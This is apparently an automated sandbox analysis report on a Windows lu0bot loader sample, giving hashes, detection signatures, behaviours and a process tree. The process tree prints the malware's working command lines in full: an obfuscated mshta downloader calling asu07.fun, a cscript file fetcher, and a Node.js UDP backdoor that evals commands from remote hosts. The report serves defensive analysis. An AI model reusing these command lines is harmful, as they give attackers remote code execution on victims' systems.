Analysis
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max time kernel
150s -
max time network
152s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
04-08-2021 12:07
Static task
static1
Behavioral task
behavioral1
Sample
db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0.exe
Resource
win7v20210408
General
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Target
db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0.exe
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Size
3KB
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MD5
172da997f8be4c8d0318a322c8ee806e
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SHA1
224d3e925800815e792af3a28f8d2dffb9c21e70
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SHA256
db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0
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SHA512
75e85d44f076dee7505389284609ab4b138d676d777e3ebfe37e11053b293b7f5d91cfb66a4304539fb41c91db74c79ec93d262cbe1e908ffd5f530be4475ca4
Malware Config
Signatures
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suricata: ET MALWARE lu0bot Loader HTTP Request
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suricata: ET MALWARE lu0bot Loader HTTP Response
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Blocklisted process makes network request 2 IoCs
Processes:
mshta.execscript.exeflow pid process 9 1200 mshta.exe 10 2636 cscript.exe -
Executes dropped EXE 1 IoCs
Processes:
node.exepid process 3120 node.exe -
Modifies file permissions 1 TTPs 1 IoCs
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Drops file in Windows directory 2 IoCs
Processes:
expand.exedescription ioc process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
node.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
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Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
Processes:
netstat.exeipconfig.exepid process 3976 netstat.exe 1492 ipconfig.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
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NTFS ADS 2 IoCs
Processes:
node.exedescription ioc process File created C:\Users\Admin\AppData\Local\Temp\f1c64a0fe0ce414e:ads node.exe File created C:\ProgramData\DNTException\node.exe:efab21d9e4ba60128690b38dbef27de7 node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 9 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 10 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
node.exepid process 3120 node.exe 3120 node.exe 3120 node.exe 3120 node.exe -
Suspicious use of AdjustPrivilegeToken 44 IoCs
Processes:
tasklist.exewmic.exenetstat.exedescription pid process Token: SeDebugPrivilege 2444 tasklist.exe Token: SeIncreaseQuotaPrivilege 3944 wmic.exe Token: SeSecurityPrivilege 3944 wmic.exe Token: SeTakeOwnershipPrivilege 3944 wmic.exe Token: SeLoadDriverPrivilege 3944 wmic.exe Token: SeSystemProfilePrivilege 3944 wmic.exe Token: SeSystemtimePrivilege 3944 wmic.exe Token: SeProfSingleProcessPrivilege 3944 wmic.exe Token: SeIncBasePriorityPrivilege 3944 wmic.exe Token: SeCreatePagefilePrivilege 3944 wmic.exe Token: SeBackupPrivilege 3944 wmic.exe Token: SeRestorePrivilege 3944 wmic.exe Token: SeShutdownPrivilege 3944 wmic.exe Token: SeDebugPrivilege 3944 wmic.exe Token: SeSystemEnvironmentPrivilege 3944 wmic.exe Token: SeRemoteShutdownPrivilege 3944 wmic.exe Token: SeUndockPrivilege 3944 wmic.exe Token: SeManageVolumePrivilege 3944 wmic.exe Token: 33 3944 wmic.exe Token: 34 3944 wmic.exe Token: 35 3944 wmic.exe Token: 36 3944 wmic.exe Token: SeIncreaseQuotaPrivilege 3944 wmic.exe Token: SeSecurityPrivilege 3944 wmic.exe Token: SeTakeOwnershipPrivilege 3944 wmic.exe Token: SeLoadDriverPrivilege 3944 wmic.exe Token: SeSystemProfilePrivilege 3944 wmic.exe Token: SeSystemtimePrivilege 3944 wmic.exe Token: SeProfSingleProcessPrivilege 3944 wmic.exe Token: SeIncBasePriorityPrivilege 3944 wmic.exe Token: SeCreatePagefilePrivilege 3944 wmic.exe Token: SeBackupPrivilege 3944 wmic.exe Token: SeRestorePrivilege 3944 wmic.exe Token: SeShutdownPrivilege 3944 wmic.exe Token: SeDebugPrivilege 3944 wmic.exe Token: SeSystemEnvironmentPrivilege 3944 wmic.exe Token: SeRemoteShutdownPrivilege 3944 wmic.exe Token: SeUndockPrivilege 3944 wmic.exe Token: SeManageVolumePrivilege 3944 wmic.exe Token: 33 3944 wmic.exe Token: 34 3944 wmic.exe Token: 35 3944 wmic.exe Token: 36 3944 wmic.exe Token: SeDebugPrivilege 3976 netstat.exe -
Suspicious use of WriteProcessMemory 51 IoCs
Processes:
db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0.exemshta.execmd.execscript.exenode.exedescription pid process target process PID 2388 wrote to memory of 1200 2388 db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0.exe mshta.exe PID 2388 wrote to memory of 1200 2388 db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0.exe mshta.exe PID 2388 wrote to memory of 1200 2388 db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0.exe mshta.exe PID 1200 wrote to memory of 796 1200 mshta.exe cmd.exe PID 1200 wrote to memory of 796 1200 mshta.exe cmd.exe PID 1200 wrote to memory of 796 1200 mshta.exe cmd.exe PID 796 wrote to memory of 2636 796 cmd.exe cscript.exe PID 796 wrote to memory of 2636 796 cmd.exe cscript.exe PID 796 wrote to memory of 2636 796 cmd.exe cscript.exe PID 796 wrote to memory of 296 796 cmd.exe expand.exe PID 796 wrote to memory of 296 796 cmd.exe expand.exe PID 796 wrote to memory of 296 796 cmd.exe expand.exe PID 796 wrote to memory of 3324 796 cmd.exe cscript.exe PID 796 wrote to memory of 3324 796 cmd.exe cscript.exe PID 796 wrote to memory of 3324 796 cmd.exe cscript.exe PID 3324 wrote to memory of 3120 3324 cscript.exe node.exe PID 3324 wrote to memory of 3120 3324 cscript.exe node.exe PID 3324 wrote to memory of 3120 3324 cscript.exe node.exe PID 3120 wrote to memory of 4020 3120 node.exe cmd.exe PID 3120 wrote to memory of 4020 3120 node.exe cmd.exe PID 3120 wrote to memory of 4020 3120 node.exe cmd.exe PID 3120 wrote to memory of 2396 3120 node.exe cacls.exe PID 3120 wrote to memory of 2396 3120 node.exe cacls.exe PID 3120 wrote to memory of 2396 3120 node.exe cacls.exe PID 3120 wrote to memory of 2476 3120 node.exe icacls.exe PID 3120 wrote to memory of 2476 3120 node.exe icacls.exe PID 3120 wrote to memory of 2476 3120 node.exe icacls.exe PID 3120 wrote to memory of 1364 3120 node.exe attrib.exe PID 3120 wrote to memory of 1364 3120 node.exe attrib.exe PID 3120 wrote to memory of 1364 3120 node.exe attrib.exe PID 3120 wrote to memory of 1220 3120 node.exe attrib.exe PID 3120 wrote to memory of 1220 3120 node.exe attrib.exe PID 3120 wrote to memory of 1220 3120 node.exe attrib.exe PID 3120 wrote to memory of 2444 3120 node.exe tasklist.exe PID 3120 wrote to memory of 2444 3120 node.exe tasklist.exe PID 3120 wrote to memory of 2444 3120 node.exe tasklist.exe PID 3120 wrote to memory of 3944 3120 node.exe wmic.exe PID 3120 wrote to memory of 3944 3120 node.exe wmic.exe PID 3120 wrote to memory of 3944 3120 node.exe wmic.exe PID 3120 wrote to memory of 1492 3120 node.exe ipconfig.exe PID 3120 wrote to memory of 1492 3120 node.exe ipconfig.exe PID 3120 wrote to memory of 1492 3120 node.exe ipconfig.exe PID 3120 wrote to memory of 3748 3120 node.exe route.exe PID 3120 wrote to memory of 3748 3120 node.exe route.exe PID 3120 wrote to memory of 3748 3120 node.exe route.exe PID 3120 wrote to memory of 3976 3120 node.exe netstat.exe PID 3120 wrote to memory of 3976 3120 node.exe netstat.exe PID 3120 wrote to memory of 3976 3120 node.exe netstat.exe PID 3120 wrote to memory of 796 3120 node.exe systeminfo.exe PID 3120 wrote to memory of 796 3120 node.exe systeminfo.exe PID 3120 wrote to memory of 796 3120 node.exe systeminfo.exe -
Views/modifies file attributes 1 TTPs 2 IoCs
Processes:
attrib.exeattrib.exepid process 1364 attrib.exe 1220 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0.exe"C:\Users\Admin\AppData\Local\Temp\db246897a0efe3c4b3cd4b9f832067815fa920045e9a5a3d0881dc9ffd958fb0.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();159;y=unescape('%361%7Eh%74t%70%3A%2F%2F%61s%750%37%2E%66u%6E%2F%68r%69%2F%3F2%31a%36e%34b%7E2%31').split('~');56;try{x='WinHttp';176;x=new ActiveXObject(x+'.'+x+'Request.5.1');175;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);251;x.send();120;y='ipt.S';132;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);32;}catch(e){};239;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1628078857941.txt & cscript /nologo /e:jscript get1628078857941.txt "http%3A%2F%2Fasu07.fun%2Fhri%2F%3F27d7cb795%26b%3D27d6cd41" node.cab & expand node.cab node.exe & del get1628078857941.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1628078857941.txt & cscript /nologo /e:jscript get1628078857941.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%277d7cb795%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1628078857941.txt3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1628078857941.txt "http%3A%2F%2Fasu07.fun%2Fhri%2F%3F27d7cb795%26b%3D27d6cd41" node.cab4⤵
- Blocklisted process makes network request
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1628078857941.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%277d7cb795%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Suspicious use of WriteProcessMemory
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C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%277d7cb795%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu07.fun%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\ProgramData\DNTException\get1628078857941.txtMD5
52ec5ebd8a447b5115ce83e703bcde51
SHA138ce97f87c6be668d07985558fc89c53e27770a3
SHA256ef1be6a77e480e683331052654d3db47a02fe4b7af3e35e67b9248e989307615
SHA5129af71d426564ef92ff6de1d89107161c138bbdd9dc08b5e380a0b94e7b2e91ec4d498a1d8f4514552a45bf14a8f9078dc295aa1cb86cfc063427ad218e9d5f32
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C:\ProgramData\DNTException\get1628078857941.txtMD5
e15f82747d0884d61a5bc4fb2db7d29d
SHA1aca478622586f17603fe56705fd319b75198b2b0
SHA256982675d0465497986b3ece89f08f81a4629d975617671153e0ca653f2589966f
SHA512d8c17e54cbefa72191c238f23d619a4637fd74c8c8b9975071bf5507c5a34259495cd20e516c7f7f0c215ec4f724b22de88b8a5ea43765c019eb067600cf661d
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C:\ProgramData\DNTException\node.cabMD5
c7ed3d9304a29c8b472174bd910be071
SHA122b7d55b80acd434c13b0a2d8c59b45c10220a42
SHA256abbaffb1b56bd3c5db5aedf4bdc0794d82bedba43677d13cd1056cb5412b3441
SHA512c65c80564019ae54145a939f9ed463895c337f020cbd769647dc6baf8db5db283a5e151c2ae4f10681d23db161d791ce59c395d8ebba603a27a2a6be0368a1a2
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C:\ProgramData\DNTException\node.exeMD5
11f0b4e17e686cdc46f85a6becede4a8
SHA12826f7ac33b43439ecddd08ad541a7f54a9eb7c0
SHA2566a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c
SHA51211a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f
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C:\ProgramData\DNTException\node.exeMD5
11f0b4e17e686cdc46f85a6becede4a8
SHA12826f7ac33b43439ecddd08ad541a7f54a9eb7c0
SHA2566a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c
SHA51211a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f
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memory/296-118-0x0000000000000000-mapping.dmp
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memory/796-115-0x0000000000000000-mapping.dmp
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memory/796-141-0x0000000000000000-mapping.dmp
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memory/1200-114-0x0000000000000000-mapping.dmp
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memory/1220-135-0x0000000000000000-mapping.dmp
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memory/1364-134-0x0000000000000000-mapping.dmp
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memory/1492-138-0x0000000000000000-mapping.dmp
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memory/2396-132-0x0000000000000000-mapping.dmp
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memory/2444-136-0x0000000000000000-mapping.dmp
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memory/2476-133-0x0000000000000000-mapping.dmp
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memory/2636-116-0x0000000000000000-mapping.dmp
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memory/3120-128-0x000000002C900000-0x000000002C901000-memory.dmpFilesize
4KB
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memory/3120-130-0x000000000E400000-0x000000000E401000-memory.dmpFilesize
4KB
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memory/3120-127-0x0000000005300000-0x0000000005301000-memory.dmpFilesize
4KB
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memory/3120-125-0x000000003F400000-0x000000003F401000-memory.dmpFilesize
4KB
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memory/3120-123-0x0000000000000000-mapping.dmp
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memory/3120-129-0x0000000004700000-0x0000000004701000-memory.dmpFilesize
4KB
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memory/3120-126-0x0000000004900000-0x0000000004901000-memory.dmpFilesize
4KB
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memory/3324-120-0x0000000000000000-mapping.dmp
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memory/3748-139-0x0000000000000000-mapping.dmp
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memory/3944-137-0x0000000000000000-mapping.dmp
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memory/3976-140-0x0000000000000000-mapping.dmp
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memory/4020-131-0x0000000000000000-mapping.dmp